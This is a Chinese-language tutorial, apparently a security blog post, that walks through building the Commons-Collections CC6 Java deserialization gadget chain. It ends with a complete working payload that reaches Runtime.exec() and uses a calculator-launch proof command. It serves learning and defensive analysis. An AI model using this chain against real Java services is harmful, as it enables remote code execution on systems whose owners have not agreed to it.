URLDNS的污点选取的是DNS查询功能,无法执行命令,只能用于漏洞探测。CC6则选取了能够反射执行Runtime相关方法的类——利用Commons-Collections
组件中的InvokerTransformer + ChainedTransformer + ConstantTransformer
。
Commons-Collections组件
Commons-Collections是用于增强Java集合(Collections)的,也就是说它对Java常用的Collections—Map、List、Set等进行了相应的开发。例如对于Map,它扩展出了LazyMap、MultiValueMap、TransformedMap
等。Map中每一个键值对相关类用xxEntry
来表示。
CC6就用到了LazyMap
,Lazy意味着“懒加载”,即在初始化时为空,进行put操作的时候才真正初始化(按需创建)。当LazyMap.get(Object key)
方法获取对象时,如果映射中不存在key,将使用工厂创建对象。这个工厂就是Transformer
接口类型的。
Transformer
Transformer
接口,顾名思义是将一个对象转换为另一个对象的转换器,在3.1版本CommonsCollections组件中搜索其实现类包含13个:ChainedTransformer
(将各个转换器连在一起)、InvokerTransformer
(用反射创建新的对象)、ConstantTransformer
(返回常量)、InstantiateTransformer
(反射创建新的对象)等。
反射本身就是Java RCE的一个常用污点。跟进看一下用反射创建对象的InvokerTransformer
,代码如下
# InvokerTransformer
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} ...
}
如果input(类)、iMethodName(方法)、iParamTypes(参数类型)、iArgs(参数)
都可控,就可以通过反射完成任意类中方法的调用。后三个都可以通过InvokerTransformer
自身构造函数传入。但是要对input
赋值,需要找到调用InvokerTransformer.transform()
的地方。手动调用的transform()
方法代码如下:
InvokerTransformer invokerTransformer1=new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"open -a Calculator"});
invokerTransformer1.transform(Runtime.getRuntime());
但是在反序列化构造中需要能自动调用,这也是这条链最巧妙的地方—ChainedTransformer
,其transform()
方法可以调用所有实现了Transformer接口类的transform()
。也就是它注释中提到的将各个转换器连在一起。
# ChainedTransformer
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
那么poc就变成了这样
Transformer[] invokerTransformer= new InvokerTransformer[]{
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(invokerTransformer);
chainedTransformer.transform(Runtime.getRuntime());
本来是为了解决InvokerTransformer.transform()
无法自动调用,现在就变成了需要解决chainedTransformer.transform()
无法自动调用的问题,即寻找CommonsCollections中有没有其他方法可以调用chainedTransformer.transform()
?
LazyMap
前面提到LazyMap是“懒加载”,其get方法获取对象时,如果不存在key,就使用工厂类创建对象,代码如下:
# LazyMap
protected transient Map map;
protected final Transformer factory;
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
那么如果此时的factory是ChainedTransformer类型的,就会自动调用其transformer方法,从而解决上个问题。如何给factory赋值呢?LazyMap的构造方法可以,但是LazyMap不能直接new,而是通过自身的decorate()
方法来创建。
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = FactoryTransformer.getInstance(factory);
}
结合URLDNS链条最后走到的是HashMap.hashCode()
,现在这条链从污点往上推到了LazyMap.get()
。问题是,如果把二者连接起来。二者的共性在于都是属于Map接口实现类,结合Map这种数据结构。思路就变成了从Map接口实现类中找一个其hashCode方法存在get调用的类。
最后这条链给出的答案是TiedMapEntry,其hashCode方法如下
public int hashCode() {
Object value = getValue(); // return map.get(key);
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
那么整条CC6调用链就连了起来
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
Payload构造
但是在构造payload时要注意一个问题,前面对于反射我们给出了如下的形式
Transformer[] invokerTransformer= new InvokerTransformer[]{
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(invokerTransformer);
chainedTransformer.transform(Runtime.getRuntime());
这种传入Runtime.getRuntime()
对象在反序列化时会报错:java.io.NotSerializableException: java.lang.Runtime
。想要进行反序列化,要求序列化的对象和它使用的内部属性对象,必须都实现java.io.Serializable
接口。但是Runtime类并没有实现这个接口,所以不能当作对象传入,只能用反射来使用。
Runtime.getRuntime无法反序列化的问题
接下来就是把Runtime.getRuntime()
完全用反射形式进行拆解如下,然后再利用Transformer实现类进一步拆解。
String cmd="open /System/Applications/Calculator.app";
Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null);
Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime,cmd);
然后就有了网上这段payload
Transformer[] Transformer=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"})
};
Transformer chainedTransformer=new ChainedTransformer(Transformer);
最大的区别在于此处传入的是Runtime.class
,它是Class类型的,Class类型实现了java.io.Serializable
接口。解决了传入Runtime.getRuntime()
无法反序列化的问题。
根据上面的思路,可以构造出如下payload,但是在测试时会遇到两个问题:(1)真正反序列化的时候没弹计算器(2)还没有反序列化就弹出了计算器
Transformer[] Transformer=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"}),
new ConstantTransformer(1)
};
ChainedTransformer chainedTransformer=new ChainedTransformer(Transformer);
HashMap hashMap=new HashMap();
Map lazyMap= LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"axisx");
Map hashMap1=new HashMap();
hashMap1.put(tiedMapEntry,"value2");
(1)真正反序列化的时候没弹计算器
调试过程中发现在LazyMap.get()
这步出了问题。想要执行后面的transform,需要map.containsKey(key)==false
,但是在payload中new TiedMapEntry(lazyMap,"axisx");
这步存入的axisx
,反序列化时这个key是在map中的,此处判断为true,反序列化后续链条无法执行。
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
那么想解决这个问题就需要在上述payload的最后加入lazyMap.remove("axisx");
,将这个key移除。
(2)还没有反序列化就弹出了计算器
去调试可以发现,问题出现在hashMap1.put(tiedMapEntry,"value2");
这行代码,由于在put的时候会自动计算hash,调用了TiedMapEntry.hashCode()
,后续反序列化链条被执行了一次。
# HashMap
public V put(K key, V value) {
int hash = hash(key);
}
final int hash(Object k) {
int h = hashSeed;
h ^= k.hashCode(); // TiedMapEntry.hashCode
}
那么想解决这个问题,需要让后续的Transformer先不要执行。可以先给ChainedTransformer赋一个假值,这样put时不会弹计算器,然后在payload的最后再将这个值通过反射修改成正确的值,使得反序列化时能正常解析。
那么最终的payload如下
Transformer[] tmp = new Transformer[] {new ConstantTransformer(1)};
Transformer[] Transformer=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"}),
new ConstantTransformer(1)
};
ChainedTransformer chainedTransformer=new ChainedTransformer(tmp);
HashMap hashMap=new HashMap();
Map lazyMap= LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"axisx");
Map hashMap1=new HashMap();
hashMap1.put(tiedMapEntry,"value2");
lazyMap.remove("axisx");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chainedTransformer, Transformer);
这个payload是极简版payload,ysoserial在CC6的入口选取的是java.util.HashSet.readObject()
,这里直接用的HashMap.readObject
。反序列化链条本身就可以有很多组合。学习思路最为重要。